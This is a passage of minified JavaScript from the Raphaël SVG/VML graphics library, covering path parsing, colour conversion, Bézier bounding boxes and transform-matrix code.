x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*)+)/gi,ib=/([rstm])[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029,]*((-?\d*\.?\d*(?:e[\-+]?\d+)?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*)+)/gi,jb=/(-?\d*\.?\d*(?:e[\-+]?\d+)?)[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,?[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*/gi,kb=(c._radial_gradient=/^r(?:\(([^,]+?)[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*,[\x09\x0a\x0b\x0c\x0d\x20\xa0\u1680\u180e\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u202f\u205f\u3000\u2028\u2029]*([^\)]+?)\))?/,{}),lb=function(a,b){return _(a)-_(b)},mb=function(){},nb=function(a){return a},ob=c._rectPath=function(a,b,c,d,e){return e?[["M",a+e,b],["l",c-2*e,0],["a",e,e,0,0,1,e,e],["l",0,d-2*e],["a",e,e,0,0,1,-e,e],["l",2*e-c,0],["a",e,e,0,0,1,-e,-e],["l",0,2*e-d],["a",e,e,0,0,1,e,-e],["z"]]:[["M",a,b],["l",c,0],["l",0,d],["l",-c,0],["z"]]},pb=function(a,b,c,d){return null==d&&(d=c),[["M",a,b],["m",0,-d],["a",c,d,0,1,1,0,2*d],["a",c,d,0,1,1,0,-2*d],["z"]]},qb=c._getPath={path:function(a){return a.attr("path")},circle:function(a){var b=a.attrs;return pb(b.cx,b.cy,b.r)},ellipse:function(a){var b=a.attrs;return pb(b.cx,b.cy,b.rx,b.ry)},rect:function(a){var b=a.attrs;return ob(b.x,b.y,b.width,b.height,b.r)},image:function(a){var b=a.attrs;return ob(b.x,b.y,b.width,b.height)},text:function(a){var b=a._getBBox();return ob(b.x,b.y,b.width,b.height)},set:function(a){var b=a._getBBox();return ob(b.x,b.y,b.width,b.height)}},rb=c.mapPath=function(a,b){if(!b)return a;var c,d,e,f,g,h,i;for(a=Kb(a),e=0,g=a.length;g>e;e++)for(i=a[e],f=1,h=i.length;h>f;f+=2)c=b.x(i[f],i[f+1]),d=b.y(i[f],i[f+1]),i[f]=c,i[f+1]=d;return a};if(c._g=A,c.type=A.win.SVGAngle||A.doc.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#BasicStructure","1.1")?"SVG":"VML","VML"==c.type){var sb,tb=A.doc.createElement("div");if(tb.innerHTML='<v:shape adj="1"/>',sb=tb.firstChild,sb.style.behavior="url(#default#VML)",!sb||"object"!=typeof sb.adj)return c.type=G;tb=null}c.svg=!(c.vml="VML"==c.type),c._Paper=C,c.fn=v=C.prototype=c.prototype,c._id=0,c._oid=0,c.is=function(a,b){return b=M.call(b),"finite"==b?!Y[z](+a):"array"==b?a instanceof Array:"null"==b&&null===a||b==typeof a&&null!==a||"object"==b&&a===Object(a)||"array"==b&&Array.isArray&&Array.isArray(a)||W.call(a).slice(8,-1).toLowerCase()==b},c.angle=function(a,b,d,e,f,g){if(null==f){var h=a-d,i=b-e;return h||i?(180+180*N.atan2(-i,-h)/S+360)%360:0}return c.angle(a,b,f,g)-c.angle(d,e,f,g)},c.rad=function(a){return a%360*S/180},c.deg=function(a){return 180*a/S%360},c.snapTo=function(a,b,d){if(d=c.is(d,"finite")?d:10,c.is(a,V)){for(var e=a.length;e--;)if(Q(a[e]-b)<=d)return a[e]}else{a=+a;var f=b%a;if(d>f)return b-f;if(f>a-d)return b-f+a}return b},c.createUUID=function(a,b){return function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(a,b).toUpperCase()}}(/[xy]/g,function(a){var b=0|16*N.random(),c="x"==a?b:8|3&b;return c.toString(16)}),c.setWindow=function(a){b("raphael.setWindow",c,A.win,a),A.win=a,A.doc=A.win.document,c._engine.initWin&&c._engine.initWin(A.win)};var ub=function(a){if(c.vml){var b,d=/^\s+|\s+$/g;try{var e=new ActiveXObject("htmlfile");e.write("<body>"),e.close(),b=e.body}catch(g){b=createPopup().document.body}var h=b.createTextRange();ub=f(function(a){try{b.style.color=I(a).replace(d,G);var c=h.queryCommandValue("ForeColor");return c=(255&c)<<16|65280&c|(16711680&c)>>>16,"#"+("000000"+c.toString(16)).slice(-6)}catch(e){return"none"}})}else{var i=A.doc.createElement("i");i.title="Raphaël Colour Picker",i.style.display="none",A.doc.body.appendChild(i),ub=f(function(a){return i.style.color=a,A.doc.defaultView.getComputedStyle(i,G).getPropertyValue("color")})}return ub(a)},vb=function(){return"hsb("+[this.h,this.s,this.b]+")"},wb=function(){return"hsl("+[this.h,this.s,this.l]+")"},xb=function(){return this.hex},yb=function(a,b,d){if(null==b&&c.is(a,"object")&&"r"in a&&"g"in a&&"b"in a&&(d=a.b,b=a.g,a=a.r),null==b&&c.is(a,U)){var e=c.getRGB(a);a=e.r,b=e.g,d=e.b}return(a>1||b>1||d>1)&&(a/=255,b/=255,d/=255),[a,b,d]},zb=function(a,b,d,e){a*=255,b*=255,d*=255;var f={r:a,g:b,b:d,hex:c.rgb(a,b,d),toString:xb};return c.is(e,"finite")&&(f.opacity=e),f};c.color=function(a){var b;return c.is(a,"object")&&"h"in a&&"s"in a&&"b"in a?(b=c.hsb2rgb(a),a.r=b.r,a.g=b.g,a.b=b.b,a.hex=b.hex):c.is(a,"object")&&"h"in a&&"s"in a&&"l"in a?(b=c.hsl2rgb(a),a.r=b.r,a.g=b.g,a.b=b.b,a.hex=b.hex):(c.is(a,"string")&&(a=c.getRGB(a)),c.is(a,"object")&&"r"in a&&"g"in a&&"b"in a?(b=c.rgb2hsl(a),a.h=b.h,a.s=b.s,a.l=b.l,b=c.rgb2hsb(a),a.v=b.b):(a={hex:"none"},a.r=a.g=a.b=a.h=a.s=a.v=a.l=-1)),a.toString=xb,a},c.hsb2rgb=function(a,b,c,d){this.is(a,"object")&&"h"in a&&"s"in a&&"b"in a&&(c=a.b,b=a.s,a=a.h,d=a.o),a*=360;var e,f,g,h,i;return a=a%360/60,i=c*b,h=i*(1-Q(a%2-1)),e=f=g=c-i,a=~~a,e+=[i,h,0,0,h,i][a],f+=[h,i,i,h,0,0][a],g+=[0,0,h,i,i,h][a],zb(e,f,g,d)},c.hsl2rgb=function(a,b,c,d){this.is(a,"object")&&"h"in a&&"s"in a&&"l"in a&&(c=a.l,b=a.s,a=a.h),(a>1||b>1||c>1)&&(a/=360,b/=100,c/=100),a*=360;var e,f,g,h,i;return a=a%360/60,i=2*b*(.5>c?c:1-c),h=i*(1-Q(a%2-1)),e=f=g=c-i/2,a=~~a,e+=[i,h,0,0,h,i][a],f+=[h,i,i,h,0,0][a],g+=[0,0,h,i,i,h][a],zb(e,f,g,d)},c.rgb2hsb=function(a,b,c){c=yb(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g;return f=O(a,b,c),g=f-P(a,b,c),d=0==g?null:f==a?(b-c)/g:f==b?(c-a)/g+2:(a-b)/g+4,d=60*((d+360)%6)/360,e=0==g?0:g/f,{h:d,s:e,b:f,toString:vb}},c.rgb2hsl=function(a,b,c){c=yb(a,b,c),a=c[0],b=c[1],c=c[2];var d,e,f,g,h,i;return g=O(a,b,c),h=P(a,b,c),i=g-h,d=0==i?null:g==a?(b-c)/i:g==b?(c-a)/i+2:(a-b)/i+4,d=60*((d+360)%6)/360,f=(g+h)/2,e=0==i?0:.5>f?i/(2*f):i/(2-2*f),{h:d,s:e,l:f,toString:wb}},c._path2string=function(){return this.join(",").replace(gb,"$1")},c._preload=function(a,b){var c=A.doc.createElement("img");c.style.cssText="position:absolute;left:-9999em;top:-9999em",c.onload=function(){b.call(this),this.onload=null,A.doc.body.removeChild(this)},c.onerror=function(){A.doc.body.removeChild(this)},A.doc.body.appendChild(c),c.src=a},c.getRGB=f(function(a){if(!a||(a=I(a)).indexOf("-")+1)return{r:-1,g:-1,b:-1,hex:"none",error:1,toString:g};if("none"==a)return{r:-1,g:-1,b:-1,hex:"none",toString:g};!(fb[z](a.toLowerCase().substring(0,2))||"#"==a.charAt())&&(a=ub(a));var b,d,e,f,h,i,j=a.match(X);return j?(j[2]&&(e=ab(j[2].substring(5),16),d=ab(j[2].substring(3,5),16),b=ab(j[2].substring(1,3),16)),j[3]&&(e=ab((h=j[3].charAt(3))+h,16),d=ab((h=j[3].charAt(2))+h,16),b=ab((h=j[3].charAt(1))+h,16)),j[4]&&(i=j[4][J](eb),b=_(i[0]),"%"==i[0].slice(-1)&&(b*=2.55),d=_(i[1]),"%"==i[1].slice(-1)&&(d*=2.55),e=_(i[2]),"%"==i[2].slice(-1)&&(e*=2.55),"rgba"==j[1].toLowerCase().slice(0,4)&&(f=_(i[3])),i[3]&&"%"==i[3].slice(-1)&&(f/=100)),j[5]?(i=j[5][J](eb),b=_(i[0]),"%"==i[0].slice(-1)&&(b*=2.55),d=_(i[1]),"%"==i[1].slice(-1)&&(d*=2.55),e=_(i[2]),"%"==i[2].slice(-1)&&(e*=2.55),("deg"==i[0].slice(-3)||"°"==i[0].slice(-1))&&(b/=360),"hsba"==j[1].toLowerCase().slice(0,4)&&(f=_(i[3])),i[3]&&"%"==i[3].slice(-1)&&(f/=100),c.hsb2rgb(b,d,e,f)):j[6]?(i=j[6][J](eb),b=_(i[0]),"%"==i[0].slice(-1)&&(b*=2.55),d=_(i[1]),"%"==i[1].slice(-1)&&(d*=2.55),e=_(i[2]),"%"==i[2].slice(-1)&&(e*=2.55),("deg"==i[0].slice(-3)||"°"==i[0].slice(-1))&&(b/=360),"hsla"==j[1].toLowerCase().slice(0,4)&&(f=_(i[3])),i[3]&&"%"==i[3].slice(-1)&&(f/=100),c.hsl2rgb(b,d,e,f)):(j={r:b,g:d,b:e,toString:g},j.hex="#"+(16777216|e|d<<8|b<<16).toString(16).slice(1),c.is(f,"finite")&&(j.opacity=f),j)):{r:-1,g:-1,b:-1,hex:"none",error:1,toString:g}},c),c.hsb=f(function(a,b,d){return c.hsb2rgb(a,b,d).hex}),c.hsl=f(function(a,b,d){return c.hsl2rgb(a,b,d).hex}),c.rgb=f(function(a,b,c){return"#"+(16777216|c|b<<8|a<<16).toString(16).slice(1)}),c.getColor=function(a){var b=this.getColor.start=this.getColor.start||{h:0,s:1,b:a||.75},c=this.hsb2rgb(b.h,b.s,b.b);return b.h+=.075,b.h>1&&(b.h=0,b.s-=.2,b.s<=0&&(this.getColor.start={h:0,s:1,b:b.b})),c.hex},c.getColor.reset=function(){delete this.start},c.parsePathString=function(a){if(!a)return null;var b=Ab(a);if(b.arr)return Cb(b.arr);var d={a:7,c:6,h:1,l:2,m:2,r:4,q:4,s:4,t:2,v:1,z:0},e=[];return c.is(a,V)&&c.is(a[0],V)&&(e=Cb(a)),e.length||I(a).replace(hb,function(a,b,c){var f=[],g=b.toLowerCase();if(c.replace(jb,function(a,b){b&&f.push(+b)}),"m"==g&&f.length>2&&(e.push([b][E](f.splice(0,2))),g="l",b="m"==b?"l":"L"),"r"==g)e.push([b][E](f));else for(;f.length>=d[g]&&(e.push([b][E](f.splice(0,d[g]))),d[g]););}),e.toString=c._path2string,b.arr=Cb(e),e},c.parseTransformString=f(function(a){if(!a)return null;var b=[];return c.is(a,V)&&c.is(a[0],V)&&(b=Cb(a)),b.length||I(a).replace(ib,function(a,c,d){var e=[];M.call(c),d.replace(jb,function(a,b){b&&e.push(+b)}),b.push([c][E](e))}),b.toString=c._path2string,b});var Ab=function(a){var b=Ab.ps=Ab.ps||{};return b[a]?b[a].sleep=100:b[a]={sleep:100},setTimeout(function(){for(var c in b)b[z](c)&&c!=a&&(b[c].sleep--,!b[c].sleep&&delete b[c])}),b[a]};c.findDotsAtSegment=function(a,b,c,d,e,f,g,h,i){var j=1-i,k=R(j,3),l=R(j,2),m=i*i,n=m*i,o=k*a+3*l*i*c+3*j*i*i*e+n*g,p=k*b+3*l*i*d+3*j*i*i*f+n*h,q=a+2*i*(c-a)+m*(e-2*c+a),r=b+2*i*(d-b)+m*(f-2*d+b),s=c+2*i*(e-c)+m*(g-2*e+c),t=d+2*i*(f-d)+m*(h-2*f+d),u=j*a+i*c,v=j*b+i*d,w=j*e+i*g,x=j*f+i*h,y=90-180*N.atan2(q-s,r-t)/S;return(q>s||t>r)&&(y+=180),{x:o,y:p,m:{x:q,y:r},n:{x:s,y:t},start:{x:u,y:v},end:{x:w,y:x},alpha:y}},c.bezierBBox=function(a,b,d,e,f,g,h,i){c.is(a,"array")||(a=[a,b,d,e,f,g,h,i]);var j=Jb.apply(null,a);return{x:j.min.x,y:j.min.y,x2:j.max.x,y2:j.max.y,width:j.max.x-j.min.x,height:j.max.y-j.min.y}},c.isPointInsideBBox=function(a,b,c){return b>=a.x&&b<=a.x2&&c>=a.y&&c<=a.y2},c.isBBoxIntersect=function(a,b){var d=c.isPointInsideBBox;return d(b,a.x,a.y)||d(b,a.x2,a.y)||d(b,a.x,a.y2)||d(b,a.x2,a.y2)||d(a,b.x,b.y)||d(a,b.x2,b.y)||d(a,b.x,b.y2)||d(a,b.x2,b.y2)||(a.x<b.x2&&a.x>b.x||b.x<a.x2&&b.x>a.x)&&(a.y<b.y2&&a.y>b.y||b.y<a.y2&&b.y>a.y)},c.pathIntersection=function(a,b){return n(a,b)},c.pathIntersectionNumber=function(a,b){return n(a,b,1)},c.isPointInsidePath=function(a,b,d){var e=c.pathBBox(a);return c.isPointInsideBBox(e,b,d)&&1==n(a,[["M",b,d],["H",e.x2+10]],1)%2},c._removedFactory=function(a){return function(){b("raphael.log",null,"Raphaël: you are calling to method “"+a+"” of removed object",a)}};var Bb=c.pathBBox=function(a){var b=Ab(a);if(b.bbox)return d(b.bbox);if(!a)return{x:0,y:0,width:0,height:0,x2:0,y2:0};a=Kb(a);for(var c,e=0,f=0,g=[],h=[],i=0,j=a.length;j>i;i++)if(c=a[i],"M"==c[0])e=c[1],f=c[2],g.push(e),h.push(f);else{var k=Jb(e,f,c[1],c[2],c[3],c[4],c[5],c[6]);g=g[E](k.min.x,k.max.x),h=h[E](k.min.y,k.max.y),e=c[5],f=c[6]}var l=P[D](0,g),m=P[D](0,h),n=O[D](0,g),o=O[D](0,h),p=n-l,q=o-m,r={x:l,y:m,x2:n,y2:o,width:p,height:q,cx:l+p/2,cy:m+q/2};return b.bbox=d(r),r},Cb=function(a){var b=d(a);return b.toString=c._path2string,b},Db=c._pathToRelative=function(a){var b=Ab(a);if(b.rel)return Cb(b.rel);c.is(a,V)&&c.is(a&&a[0],V)||(a=c.parsePathString(a));var d=[],e=0,f=0,g=0,h=0,i=0;"M"==a[0][0]&&(e=a[0][1],f=a[0][2],g=e,h=f,i++,d.push(["M",e,f]));for(var j=i,k=a.length;k>j;j++){var l=d[j]=[],m=a[j];if(m[0]!=M.call(m[0]))switch(l[0]=M.call(m[0]),l[0]){case"a":l[1]=m[1],l[2]=m[2],l[3]=m[3],l[4]=m[4],l[5]=m[5],l[6]=+(m[6]-e).toFixed(3),l[7]=+(m[7]-f).toFixed(3);break;case"v":l[1]=+(m[1]-f).toFixed(3);break;case"m":g=m[1],h=m[2];default:for(var n=1,o=m.length;o>n;n++)l[n]=+(m[n]-(n%2?e:f)).toFixed(3)}else{l=d[j]=[],"m"==m[0]&&(g=m[1]+e,h=m[2]+f);for(var p=0,q=m.length;q>p;p++)d[j][p]=m[p]}var r=d[j].length;switch(d[j][0]){case"z":e=g,f=h;break;case"h":e+=+d[j][r-1];break;case"v":f+=+d[j][r-1];break;default:e+=+d[j][r-2],f+=+d[j][r-1]}}return d.toString=c._path2string,b.rel=Cb(d),d},Eb=c._pathToAbsolute=function(a){var b=Ab(a);if(b.abs)return Cb(b.abs);if(c.is(a,V)&&c.is(a&&a[0],V)||(a=c.parsePathString(a)),!a||!a.length)return[["M",0,0]];var d=[],e=0,f=0,g=0,i=0,j=0;"M"==a[0][0]&&(e=+a[0][1],f=+a[0][2],g=e,i=f,j++,d[0]=["M",e,f]);for(var k,l,m=3==a.length&&"M"==a[0][0]&&"R"==a[1][0].toUpperCase()&&"Z"==a[2][0].toUpperCase(),n=j,o=a.length;o>n;n++){if(d.push(k=[]),l=a[n],l[0]!=bb.call(l[0]))switch(k[0]=bb.call(l[0]),k[0]){case"A":k[1]=l[1],k[2]=l[2],k[3]=l[3],k[4]=l[4],k[5]=l[5],k[6]=+(l[6]+e),k[7]=+(l[7]+f);break;case"V":k[1]=+l[1]+f;break;case"H":k[1]=+l[1]+e;break;case"R":for(var p=[e,f][E](l.slice(1)),q=2,r=p.length;r>q;q++)p[q]=+p[q]+e,p[++q]=+p[q]+f;d.pop(),d=d[E](h(p,m));break;case"M":g=+l[1]+e,i=+l[2]+f;default:for(q=1,r=l.length;r>q;q++)k[q]=+l[q]+(q%2?e:f)}else if("R"==l[0])p=[e,f][E](l.slice(1)),d.pop(),d=d[E](h(p,m)),k=["R"][E](l.slice(-2));else for(var s=0,t=l.length;t>s;s++)k[s]=l[s];switch(k[0]){case"Z":e=g,f=i;break;case"H":e=k[1];break;case"V":f=k[1];break;case"M":g=k[k.length-2],i=k[k.length-1];default:e=k[k.length-2],f=k[k.length-1]}}return d.toString=c._path2string,b.abs=Cb(d),d},Fb=function(a,b,c,d){return[a,b,c,d,c,d]},Gb=function(a,b,c,d,e,f){var g=1/3,h=2/3;return[g*a+h*c,g*b+h*d,g*e+h*c,g*f+h*d,e,f]},Hb=function(a,b,c,d,e,g,h,i,j,k){var l,m=120*S/180,n=S/180*(+e||0),o=[],p=f(function(a,b,c){var d=a*N.cos(c)-b*N.sin(c),e=a*N.sin(c)+b*N.cos(c);return{x:d,y:e}});if(k)y=k[0],z=k[1],w=k[2],x=k[3];else{l=p(a,b,-n),a=l.x,b=l.y,l=p(i,j,-n),i=l.x,j=l.y;var q=(N.cos(S/180*e),N.sin(S/180*e),(a-i)/2),r=(b-j)/2,s=q*q/(c*c)+r*r/(d*d);s>1&&(s=N.sqrt(s),c=s*c,d=s*d);var t=c*c,u=d*d,v=(g==h?-1:1)*N.sqrt(Q((t*u-t*r*r-u*q*q)/(t*r*r+u*q*q))),w=v*c*r/d+(a+i)/2,x=v*-d*q/c+(b+j)/2,y=N.asin(((b-x)/d).toFixed(9)),z=N.asin(((j-x)/d).toFixed(9));y=w>a?S-y:y,z=w>i?S-z:z,0>y&&(y=2*S+y),0>z&&(z=2*S+z),h&&y>z&&(y-=2*S),!h&&z>y&&(z-=2*S)}var A=z-y;if(Q(A)>m){var B=z,C=i,D=j;z=y+m*(h&&z>y?1:-1),i=w+c*N.cos(z),j=x+d*N.sin(z),o=Hb(i,j,c,d,e,0,h,C,D,[z,B,w,x])}A=z-y;var F=N.cos(y),G=N.sin(y),H=N.cos(z),I=N.sin(z),K=N.tan(A/4),L=4/3*c*K,M=4/3*d*K,O=[a,b],P=[a+L*G,b-M*F],R=[i+L*I,j-M*H],T=[i,j];if(P[0]=2*O[0]-P[0],P[1]=2*O[1]-P[1],k)return[P,R,T][E](o);o=[P,R,T][E](o).join()[J](",");for(var U=[],V=0,W=o.length;W>V;V++)U[V]=V%2?p(o[V-1],o[V],n).y:p(o[V],o[V+1],n).x;return U},Ib=function(a,b,c,d,e,f,g,h,i){var j=1-i;return{x:R(j,3)*a+3*R(j,2)*i*c+3*j*i*i*e+R(i,3)*g,y:R(j,3)*b+3*R(j,2)*i*d+3*j*i*i*f+R(i,3)*h}},Jb=f(function(a,b,c,d,e,f,g,h){var i,j=e-2*c+a-(g-2*e+c),k=2*(c-a)-2*(e-c),l=a-c,m=(-k+N.sqrt(k*k-4*j*l))/2/j,n=(-k-N.sqrt(k*k-4*j*l))/2/j,o=[b,h],p=[a,g];return Q(m)>"1e12"&&(m=.5),Q(n)>"1e12"&&(n=.5),m>0&&1>m&&(i=Ib(a,b,c,d,e,f,g,h,m),p.push(i.x),o.push(i.y)),n>0&&1>n&&(i=Ib(a,b,c,d,e,f,g,h,n),p.push(i.x),o.push(i.y)),j=f-2*d+b-(h-2*f+d),k=2*(d-b)-2*(f-d),l=b-d,m=(-k+N.sqrt(k*k-4*j*l))/2/j,n=(-k-N.sqrt(k*k-4*j*l))/2/j,Q(m)>"1e12"&&(m=.5),Q(n)>"1e12"&&(n=.5),m>0&&1>m&&(i=Ib(a,b,c,d,e,f,g,h,m),p.push(i.x),o.push(i.y)),n>0&&1>n&&(i=Ib(a,b,c,d,e,f,g,h,n),p.push(i.x),o.push(i.y)),{min:{x:P[D](0,p),y:P[D](0,o)},max:{x:O[D](0,p),y:O[D](0,o)}}}),Kb=c._path2curve=f(function(a,b){var c=!b&&Ab(a);if(!b&&c.curve)return Cb(c.curve);for(var d=Eb(a),e=b&&Eb(b),f={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},g={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},h=(function(a,b,c){var d,e;if(!a)return["C",b.x,b.y,b.x,b.y,b.x,b.y];switch(!(a[0]in{T:1,Q:1})&&(b.qx=b.qy=null),a[0]){case"M":b.X=a[1],b.Y=a[2];break;case"A":a=["C"][E](Hb[D](0,[b.x,b.y][E](a.slice(1))));break;case"S":"C"==c||"S"==c?(d=2*b.x-b.bx,e=2*b.y-b.by):(d=b.x,e=b.y),a=["C",d,e][E](a.slice(1));break;case"T":"Q"==c||"T"==c?(b.qx=2*b.x-b.qx,b.qy=2*b.y-b.qy):(b.qx=b.x,b.qy=b.y),a=["C"][E](Gb(b.x,b.y,b.qx,b.qy,a[1],a[2]));break;case"Q":b.qx=a[1],b.qy=a[2],a=["C"][E](Gb(b.x,b.y,a[1],a[2],a[3],a[4]));break;case"L":a=["C"][E](Fb(b.x,b.y,a[1],a[2]));break;case"H":a=["C"][E](Fb(b.x,b.y,a[1],b.y));break;case"V":a=["C"][E](Fb(b.x,b.y,b.x,a[1]));break;case"Z":a=["C"][E](Fb(b.x,b.y,b.X,b.Y))}return a}),i=function(a,b){if(a[b].length>7){a[b].shift();for(var c=a[b];c.length;)a.splice(b++,0,["C"][E](c.splice(0,6)));a.splice(b,1),l=O(d.length,e&&e.length||0)}},j=function(a,b,c,f,g){a&&b&&"M"==a[g][0]&&"M"!=b[g][0]&&(b.splice(g,0,["M",f.x,f.y]),c.bx=0,c.by=0,c.x=a[g][1],c.y=a[g][2],l=O(d.length,e&&e.length||0))},k=0,l=O(d.length,e&&e.length||0);l>k;k++){d[k]=h(d[k],f),i(d,k),e&&(e[k]=h(e[k],g)),e&&i(e,k),j(d,e,f,g,k),j(e,d,g,f,k);var m=d[k],n=e&&e[k],o=m.length,p=e&&n.length;f.x=m[o-2],f.y=m[o-1],f.bx=_(m[o-4])||f.x,f.by=_(m[o-3])||f.y,g.bx=e&&(_(n[p-4])||g.x),g.by=e&&(_(n[p-3])||g.y),g.x=e&&n[p-2],g.y=e&&n[p-1]}return e||(c.curve=Cb(d)),e?[d,e]:d},null,Cb),Lb=(c._parseDots=f(function(a){for(var b=[],d=0,e=a.length;e>d;d++){var f={},g=a[d].match(/^([^:]*):?([\d\.]*)/);if(f.color=c.getRGB(g[1]),f.color.error)return null;f.color=f.color.hex,g[2]&&(f.offset=g[2]+"%"),b.push(f)}for(d=1,e=b.length-1;e>d;d++)if(!b[d].offset){for(var h=_(b[d-1].offset||0),i=0,j=d+1;e>j;j++)if(b[j].offset){i=b[j].offset;break}i||(i=100,j=e),i=_(i);for(var k=(i-h)/(j-d+1);j>d;d++)h+=k,b[d].offset=h+"%"}return b}),c._tear=function(a,b){a==b.top&&(b.top=a.prev),a==b.bottom&&(b.bottom=a.next),a.next&&(a.next.prev=a.prev),a.prev&&(a.prev.next=a.next)}),Mb=(c._tofront=function(a,b){b.top!==a&&(Lb(a,b),a.next=null,a.prev=b.top,b.top.next=a,b.top=a)},c._toback=function(a,b){b.bottom!==a&&(Lb(a,b),a.next=b.bottom,a.prev=null,b.bottom.prev=a,b.bottom=a)},c._insertafter=function(a,b,c){Lb(a,c),b==c.top&&(c.top=a),b.next&&(b.next.prev=a),a.next=b.next,a.prev=b,b.next=a},c._insertbefore=function(a,b,c){Lb(a,c),b==c.bottom&&(c.bottom=a),b.prev&&(b.prev.next=a),a.prev=b.prev,b.prev=a,a.next=b},c.toMatrix=function(a,b){var c=Bb(a),d={_:{transform:G},getBBox:function(){return c}};return Nb(d,b),d.matrix}),Nb=(c.transformPath=function(a,b){return rb(a,Mb(a,b))},c._extractTransform=function(a,b){if(null==b)return a._.transform;b=I(b).replace(/\.{3}|\u2026/g,a._.transform||G);var d=c.parseTransformString(b),e=0,f=0,g=0,h=1,i=1,j=a._,k=new o;if(j.transform=d||[],d)for(var l=0,m=d.length;m>l;l++){var n,p,q,r,s,t=d[l],u=t.length,v=I(t[0]).toLowerCase(),w=t[0]!=v,x=w?k.invert():0;"t"==v&&3==u?w?(n=x.x(0,0),p=x.y(0,0),q=x.x(t[1],t[2]),r=x.y(t[1],t[2]),k.translate(q-n,r-p)):k.translate(t[1],t[2]):"r"==v?2==u?(s=s||a.getBBox(1),k.rotate(t[1],s.x+s.width/2,s.y+s.height/2),e+=t[1]):4==u&&(w?(q=x.x(t[2],t[3]),r=x.y(t[2],t[3]),k.rotate(t[1],q,r)):k.rotate(t[1],t[2],t[3]),e+=t[1]):"s"==v?2==u||3==u?(s=s||a.getBBox(1),k.scale(t[1],t[u-1],s.x+s.width/2,s.y+s.height/2),h*=t[1],i*=t[u-1]):5==u&&(w?(q=x.x(t[3],t[4]),r=x.y(t[3],t[4]),k.scale(t[1],t[2],q,r)):k.scale(t[1],t[2],t[3],t[4]),h*=t[1],i*=t[2]):"m"==v&&7==u&&k.add(t[1],t[2],t[3],t[4],t[5],t[6]),j.dirtyT=1,a.matrix=k}a.matrix=k,j.sx=h,j.sy=i,j.deg=e,j.dx=f=k.e,j.dy=g=k.f,1==h&&1==i&&!e&&j.bbox?(j.bbox.x+=+f,j.bbox.y+=+g):j.dirtyT=1}),Ob=function(a){var b=a[0];switch(b.toLowerCase()){case"t":return[b,0,0];case"m":return[b,1,0,0,1,0,0];case"r":return 4==a.length?[b,0,a[2],a[3]]:[b,0];case"s":return 5==a.length?[b,1,1,a[3],a[4]]:3==a.length?[b,1,1]:[b,1]}},Pb=c._equaliseTransform=function(a,b){b=I(b).replace(/\.{3}|\u2026/g,a),a=c.parseTransformString(a)||[],b=c.parseTransformString(b)||[];for(var d,e,f,g,h=O(a.length,b.length),i=[],j=[],k=0;h>k;k++){if(f=a[k]||Ob(b[k]),g=b[k]||Ob(f),f[0]!=g[0]||"r"==f[0].toLowerCase()&&(f[2]!=g[2]||f[3]!=g[3])||"s"==f[0].toLowerCase()&&(f[3]!=g[3]||f[4]!=g[4]))return;for(i[k]=[],j[k]=[],d=0,e=O(f.length,g.length);e>d;d++)d in f&&(i[k][d]=f[d]),d in g&&(j[k][d]=g[d])
}return{from:i,to:j}};c._getContainer=function(a,b,d,e){var f;return f=null!=e||c.is(a,"object")?a:A.doc.getElementById(a),null!=f?f.tagName?null==b?{container:f,width:f.style.pixelWidth||f.offsetWidth,height:f.style.pixelHeight||f.offsetHeight}:{container:f,width:b,height:d}:{container:1,x:a,y:b,width:d,height:e}:void 0},c.pathToRelative=Db,c._engine={},c.path2curve=Kb,c.matrix=function(a,b,c,d,e,f){return new o(a,b,c,d,e,f)},function(a){function b(a){return a[0]*a[0]+a[1]*a[1]}function d(a){var c=N.sqrt(b(a));a[0]&&(a[0]/=c),a[1]&&(a[1]/=c)}a.add=function(a,b,c,d,e,f){var g,h,i,j,k=[[],[],[]],l=[[this.a,this.c,this.e],[this.b,this.d,this.f],[0,0,1]],m=[[a,c,e],[b,d,f],[0,0,1]];for(a&&a instanceof o&&(m=[[a.a,a.c,a.e],[a.b,a.d,a.f],[0,0,1]]),g=0;3>g;g++)for(h=0;3>h;h++){for(j=0,i=0;3>i;i++)j+=l[g][i]*m[i][h];k[g][h]=j}this.a=k[0][0],this.b=k[1][0],this.c=k[0][1],this.d=k[1][1],this.e=k[0][2],this.f=k[1][2]},a.invert=function(){var a=this,b=a.a*a.d-a.b*a.c;return new o(a.d/b,-a.b/b,-a.c/b,a.a/b,(a.c*a.f-a.d*a.e)/b,(a.b*a.e-a.a*a.f)/b)},a.clone=function(){return new 